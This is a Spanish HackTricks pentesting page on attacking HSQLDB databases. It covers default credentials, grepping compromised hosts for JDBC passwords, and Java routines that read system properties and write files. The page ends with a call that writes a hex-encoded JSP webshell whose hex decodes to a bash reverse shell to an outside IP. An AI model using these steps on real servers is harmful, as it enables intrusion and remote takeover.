5.6 KiB
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.
Información Básica
HSQLDB [HyperSQL DataBase](http://hsqldb.org/)
es el sistema líder de base de datos relacional SQL escrito en Java. Ofrece un motor de base de datos pequeño, rápido, multihilo y transaccional con tablas en memoria y basadas en disco, y soporta modos embebido y servidor.
Puerto predeterminado: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Información
Configuraciones Predeterminadas
Ten en cuenta que por defecto este servicio probablemente esté ejecutándose en memoria o esté vinculado a localhost. Si lo encontraste, probablemente explotaste otro servicio y buscas escalar privilegios.
Las credenciales predeterminadas suelen ser sa
con una contraseña en blanco.
Si has explotado otro servicio, busca posibles credenciales usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Toma nota del nombre de la base de datos con cuidado - lo necesitarás para conectarte.
Recopilación de Información
Conéctate a la instancia de la base de datos descargando HSQLDB y extrayendo hsqldb/lib/hsqldb.jar
. Ejecuta la aplicación GUI eww
usando java -jar hsqldb.jar
y conéctate a la instancia utilizando las credenciales descubiertas/débiles.
Nota que la URL de conexión se verá algo así para un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Trucos
Rutinas del Lenguaje Java
Podemos llamar métodos estáticos de una clase Java desde HSQLDB utilizando Rutinas del Lenguaje Java. Ten en cuenta que la clase llamada necesita estar en el classpath de la aplicación.
Las JRT pueden ser functions
o procedures
. Las funciones pueden ser llamadas a través de sentencias SQL si el método Java devuelve una o más variables primitivas compatibles con SQL. Se invocan utilizando la sentencia VALUES
.
Si el método Java que queremos llamar devuelve void, necesitamos usar un procedimiento invocado con la sentencia CALL
.
Leyendo Propiedades del Sistema Java
Crear función:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Ejecutar función:
VALUES(getsystemproperty('user.name'))
Puede encontrar una lista de propiedades del sistema aquí.
Escribir Contenido en un Archivo
Puede usar el gadget de Java com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
ubicado en el JDK cargado automáticamente en la ruta de clases de la aplicación
para escribir elementos codificados en hexadecimal en el disco a través de un procedimiento personalizado. Tenga en cuenta el tamaño máximo de 1024 bytes.
Crear procedimiento:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Ejecutar procedimiento:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF revisa los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.